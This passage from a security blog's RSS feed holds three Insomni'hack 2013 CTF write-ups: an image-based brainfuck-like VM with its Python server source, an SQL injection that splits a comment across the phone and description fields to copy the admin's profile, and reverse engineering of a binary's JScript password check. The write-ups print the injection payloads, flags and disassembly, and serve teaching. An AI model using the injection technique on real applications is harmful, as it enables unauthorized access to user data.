<p>The image contains all black, except on some lines where there is a white pixel. As the description tells, this machine uses punched cards. Looking at the sample image data, we can deduce that the sequence &quot;white-black-black&quot; is the &quot;Print data&quot; opcode. As there are 72 &quot;black-black-black&quot; instructions (which is the ASCII code for &lsquo;H&rsquo;), this opcode is an &quot;increment value&quot; instruction.</p>
<p>Finding the other instructions is just a mater of time, and there is a total of five instructions that work on a 256 bytes array (pretty much like a <a href="http://en.wikipedia.org/wiki/Brainfuck">brainfuck</a> application)</p>
<pre>B-B-B  :  Increment pointed value
B-B-W  :  Decrement pointed value
B-W-B  :  Increment pointer
B-W-W  :  Decrement pointer
W-B-B  :  Print pointed value</pre>
<p>Once you found out which instruction is what (There were a lot of error strings displayed to help), you were able to create an image which would dump the whole memory and display it :</p>
<p><a href="http://blogscrt.files.wordpress.com/2013/03/response_3.png"><img class="aligncenter size-medium wp-image-1070" alt="moneymoneymoney_dump" src="http://blogscrt.files.wordpress.com/2013/03/response_3.png?w=1&#038;h=300" width="1" height="300" /></a></p>
<p>That image would give you the flag :</p>
<pre>af5811e325cde9b06c697e61fecb8a094e8e1a85d4231aba1c10c70ca20cdd0f894d121221d0dde4af70a5023a129de2e202192dd7b536eec9965fa99d12b5e1</pre>
<h3>Source code</h3>
<pre class="brush: python; title: ; notranslate">
import SocketServer, base64
from PIL import Image
from StringIO import StringIO

class MachineHandler(SocketServer.BaseRequestHandler):

    def handle(self):
        self.request.sendall('Initializing 256 bytes RAM...\n')
        self.request.sendall('Loading security module into memory...')
        memory = bytearray('\x00'*(256-len(flag))+flag)
        self.request.sendall('Done\n')

        self.request.sendall('Welcome to the truc machine\n')
        self.request.sendall('Please insert program card\n')
        data = self.request.recv(200).strip()
        try:
            image = self.decodeImage(data)
            ops = self.parseImage(image)
            self.request.sendall(self.executeOps(ops, memory))
        except Exception, e:
            self.request.sendall(e.message)

    def decodeImage(self, data):
        try:
            imageData = StringIO(base64.b64decode(data))
            image = Image.open(imageData)
            if image.size[0]!=3:
                raise IOError(&quot;Image width must be equal to 3&quot;)
            colors = [c[1] for c in image.getcolors()]
            if len(colors)&gt;2:
                raise IOError(&quot;Image must be only two colors&quot;)
            if 0 not in colors:
                raise IOError(&quot;Image must contain #00 color&quot;)
            return image
        except Exception, e:
            raise e

    def parseImage(self, image):
        i=0
        ops = []
        try:
            for i in range(image.size[1]):
                tmp = (image.getpixel((0,i))&gt;0) &lt;&lt; 2
                tmp += (image.getpixel((1,i))&gt;0) &lt;&lt; 1
                tmp += (image.getpixel((2,i))&gt;0)
                ops.append(tmp)
        except Exception, e:
            raise e
        return ops

    def executeOps(self, ops, memory, pt=0):
        output=&quot;&quot;
        for op in ops:
            if op == 0:
                memory[pt] += 1
            elif op == 1:
                memory[pt] -= 1
            elif op == 2:
                if pt == 255:
                    raise ValueError(&quot;Pointer out of range&quot;)
                else:
                    pt += 1
            elif op == 3:
                if pt == 0:
                    raise ValueError(&quot;Pointer out of range&quot;)
                else:
                    pt -= 1
            elif op == 4:
                output += chr(memory[pt])
            else:
                raise ValueError(&quot;Unknown opcode&quot;)
        return output

if __name__ == '__main__':
    flag = open('./flag').read()
    HOST, PORT = &quot;0.0.0.0&quot;, 7777
    SocketServer.ThreadingTCPServer.allow_reuse_address = True
    server = SocketServer.ThreadingTCPServer((HOST, PORT), MachineHandler)
    server.serve_forever()
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1060/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1060/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1060&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/04/03/insomnihack-2013-money-money-money/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/ac2003cc03604112bd74eaf04a0f3ad9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">nicolasoberli</media:title>
		</media:content>

		<media:content url="http://blogscrt.files.wordpress.com/2013/03/test_3.png" medium="image">
			<media:title type="html">moneymoneymoney_example</media:title>
		</media:content>

		<media:content url="http://blogscrt.files.wordpress.com/2013/03/response_3.png?w=1" medium="image">
			<media:title type="html">moneymoneymoney_dump</media:title>
		</media:content>
	</item>
		<item>
		<title>Insomnihack 2013 &#8211; Central Directory</title>
		<link>http://blog.scrt.ch/2013/03/28/insomnihack-2013-central-directory/</link>
		<comments>http://blog.scrt.ch/2013/03/28/insomnihack-2013-central-directory/#comments</comments>
		<pubDate>Thu, 28 Mar 2013 14:51:57 +0000</pubDate>
		<dc:creator>Alain Mowat</dc:creator>
				<category><![CDATA[Insomni'hack]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1116</guid>
		<description><![CDATA[And here I was thinking everybody knew SQL injections and that this challenge wouldn&#8217;t last an hour. And yet only one team was able to complete it before the end of the contest. o_O In the description of the challenge, &#8230; <a href="http://blog.scrt.ch/2013/03/28/insomnihack-2013-central-directory/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1116&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>And here I was thinking everybody knew SQL injections and that this challenge wouldn&rsquo;t last an hour. And yet only one team was able to complete it before the end of the contest. o_O</p>
<p>In the description of the challenge, we are asked to access the admin account. So we connect to the application, register an account and login. We notice there are two pages:</p>
<p>1. Member list</p>
<p><a href="http://blogscrt.files.wordpress.com/2013/03/members_list.png"><img class="alignnone size-full wp-image-1117" alt="members_list" src="http://blogscrt.files.wordpress.com/2013/03/members_list.png?w=640&#038;h=229" width="640" height="229" /></a></p>
<p>2. Your profile</p>
<p><a href="http://blogscrt.files.wordpress.com/2013/03/profile.png"><img class="alignnone size-full wp-image-1118" alt="profile" src="http://blogscrt.files.wordpress.com/2013/03/profile.png?w=640&#038;h=242" width="640" height="242" /></a></p>
<p>We can obviously update our firstname, lastname, phone number and description. One of the first things to test in the case of an injection is how the application reacts with quotes. In this case, everything seems OK, as they display correctly in all fields, appart from the phone number which mentions that it is not a valid number. Interesting. So what is a valid phone number for this application?</p>
<p>By fuzzing the field a little bit, you notice that it accepts up to 10 numbers, as well as some arithmetic operators, such as /,*,- and +.  For example, if you enter your phone number as 2+2, it will show up as 4. Someone is not using the right regexp for this job! <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>How can we exploit this? Well we imagine the request looks like something like this:</p>
<pre>UPDATE users SET firstname='escaped(firstname)',lastname='escaped(lastname)',phone=valid(phone),userdescription='escaped(userdescription)' WHERE id = X;</pre>
<p>All fields but the phone number are escaped correctly and the phone number must be max 10 numbers (and arithmetic operators). Well by combining the / and * operators we can create SQL comments, and we control what is found in the user description, which would allow us to end the SQL comment and enter arbitrary SQL code!</p>
<pre>UPDATE users SET firstname='toto',lastname='toto',phone=123456<span style="color:#ff0000;">/*,userdescription='toto*/</span> <span style="color:#008000;">SQL CODE HERE --</span><span style="color:#ff0000;">' WHERE id = X</span>;</pre>
<p>We can therefore inject arbitrary SQL code in an update statement. We know we have to access the admin account, so the flag is probably in his profile details somewhere. Maybe his name, but more probably in his description. What we can do with the injection is update our description to match the admin&rsquo;s one. To do this, we can enter the following values in the phone and description fields (I won&rsquo;t go into details as to how you can find the table name and columns, it is pretty straightforward guessing (the column names are the same as the form input fields) or through information_schema tables):</p>
<pre>phone : 123456/*
description : toto*/,userdescription = (select userdescription from users where id = 1)--</pre>
<p>This will generate the following query:</p>
<pre>UPDATE users SET firstname='toto',lastname='toto',phone=123456<span style="color:#ff0000;">/*,userdescription='toto*/</span>,userdescription = (select userdescription from users where id = 1)--<span style="color:#ff0000;">' WHERE id = X;
</span></pre>
<p>Which if we remove the comments is :</p>
<pre>UPDATE users SET firstname='toto',lastname='toto',phone=123456,userdescription = (select userdescription from users where id = 1)</pre>
<p>We can now just reload our page and view the flag in our description!</p>
<p><span style="color:#ff0000;"> </span></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1116/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1116&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/03/28/insomnihack-2013-central-directory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cc3852adf1fdc3ffc1b8fb208fd686a9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">alainmowat</media:title>
		</media:content>

		<media:content url="http://blogscrt.files.wordpress.com/2013/03/members_list.png" medium="image">
			<media:title type="html">members_list</media:title>
		</media:content>

		<media:content url="http://blogscrt.files.wordpress.com/2013/03/profile.png" medium="image">
			<media:title type="html">profile</media:title>
		</media:content>
	</item>
		<item>
		<title>Insomni&#8217;hack 2013 &#8211; recycle.exe</title>
		<link>http://blog.scrt.ch/2013/03/28/insomnihack-2013-recycle-exe/</link>
		<comments>http://blog.scrt.ch/2013/03/28/insomnihack-2013-recycle-exe/#comments</comments>
		<pubDate>Thu, 28 Mar 2013 09:08:06 +0000</pubDate>
		<dc:creator>Julien Bachmann</dc:creator>
				<category><![CDATA[Insomni'hack]]></category>

		<guid isPermaLink="false">http://blog.scrt.ch/?p=1101</guid>
		<description><![CDATA[The main idea behind this challenge came after reading an article in Valhalla magazine about inline JScript for implementing cryptography in malwares targeting Windows. The first thing that we can look out for is what is done with the process argument or &#8230; <a href="http://blog.scrt.ch/2013/03/28/insomnihack-2013-recycle-exe/">Lire la suite <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1101&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>The main idea behind this challenge came after reading an article in <a href="http://spth.virii.lu/v3/vessel/display/articles/hh86/inline.txt" target="_blank">Valhalla magazine</a> about inline JScript for implementing cryptography in malwares targeting Windows.</p>
<p>The first thing that we can look out for is what is done with the process argument or where it is stored in memory:</p>
<pre class="brush: bash; title: ; notranslate">
.text:00E211C7 mov eax, [ebp+argv]
.text:00E211CA xor esi, esi
.text:00E211CC mov [esp+54h+var_3C], eax
</pre>
<p>Another function that look interesting is the one named <strong>check</strong> which has two cross-references:</p>
<pre class="brush: bash; title: ; notranslate">
0xe2160f
0xe216c6
</pre>
<p>This function calls the <strong>run</strong> method of a <strong>MSScriptControl</strong> class instance (which is set to execute &lsquo;JScript&rsquo; at the beginning of the main function). Back at our argument, the first cross-reference leads us to this code:</p>
<pre class="brush: bash; title: ; notranslate">
.text:00E215B3 mov eax, offset _Ptr ; &quot;(\&quot;b\&quot;==\&quot;&quot;
.text:00E215B8 lea esi, [esp+54h+str]
.text:00E215BC call ?assign
.text:00E215C1 mov edx, [esp+54h+var_3C]
.text:00E215C5 mov eax, [edx+4]
.text:00E215C8 mov bl, [eax+2]
.text:00E215CB call ?append
.text:00E215D0 push 0Ah
.text:00E215D2 mov eax, offset a?10 ; &quot;\&quot;) ? 1 : 0&quot;
.text:00E215D7 mov ecx, esi
.text:00E215D9 call ?append
</pre>
<p>We can see that argv[1][1] is copied into bl (don&rsquo;t be fooled by eax+2 as we are in an Unicode world) and creating the following string</p>
<pre class="brush: bash; title: ; notranslate">
&quot;\&quot;b\&quot;==\&quot;&lt;argv[1][1]&gt;\&quot; ? 1 : 0&quot;
</pre>
<p>and calling <strong>check</strong>. The next xref to the second argument leads to:</p>
<pre class="brush: bash; title: ; notranslate">
.text:00E21634 mov ebx, [esp+54h+var_3C]
.text:00E21638 mov eax, [ebx+4]
.text:00E2163B cmp word ptr [eax], 2Eh
...
.text:00E21645 cmp word ptr [eax+6], 3Bh
</pre>
<p>Meaning that <strong>argv[1][0]</strong> is tested against <strong>0x2e</strong> (&lsquo;.&rsquo;) and <strong>argv[1][3]</strong> against <strong>0x3b</strong> (&lsquo;;&rsquo;).</p>
<p>The second xref to <strong>check</strong> leads us to this code creating the following string:</p>
<pre class="brush: bash; title: ; notranslate">
&quot;\&quot;X\&quot;==\&quot;&lt;argv[1][2] + 10&gt;\&quot; ? 1 : 0&quot;
</pre>
<p>and running it in the js engine.</p>
<pre class="brush: bash; title: ; notranslate">
.text:00E21666 mov byte ptr [eax], 0
.text:00E21669 mov eax, offset asc_E2453C ; &quot;(\&quot;X\&quot;==\&quot;&quot;
.text:00E2166E lea esi, [esp+54h+str]
.text:00E21672 call ?assign
.text:00E21677 mov ecx, [ebx+4]
.text:00E2167A mov bl, [ecx+4]
.text:00E2167D add bl, 0Ah
.text:00E21680 call ?append
.text:00E21685 push 0Ah
.text:00E21687 mov eax, offset a?01 ; &quot;\&quot;) ? 0 : 1&quot;
.text:00E2168C mov ecx, esi
.text:00E2168E call ?append
</pre>
<p>Linking everything back together our input should be equal to the string : &lsquo;.bN; &lsquo;. Enterring this value gives us the following output:</p>
<pre class="brush: bash; title: ; notranslate">
Password validated...
Starting incinerator
0217125fd3b62ac292e033267b923eb7a21145f5e3eb717d417419ffd62b89947146f05a385fa79ccb5be89020e1251b3614d8d97b68b1936827f548ec80035c
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/blogscrt.wordpress.com/1101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/blogscrt.wordpress.com/1101/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.scrt.ch&#038;blog=15166482&#038;post=1101&#038;subd=blogscrt&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.scrt.ch/2013/03/28/insomnihack-2013-recycle-exe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/31efa457cbd5c646bd8fc65a7f48b357?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">julienbachmann</media:title>
		</media:content>
	</item>
	</channel>
</rss>
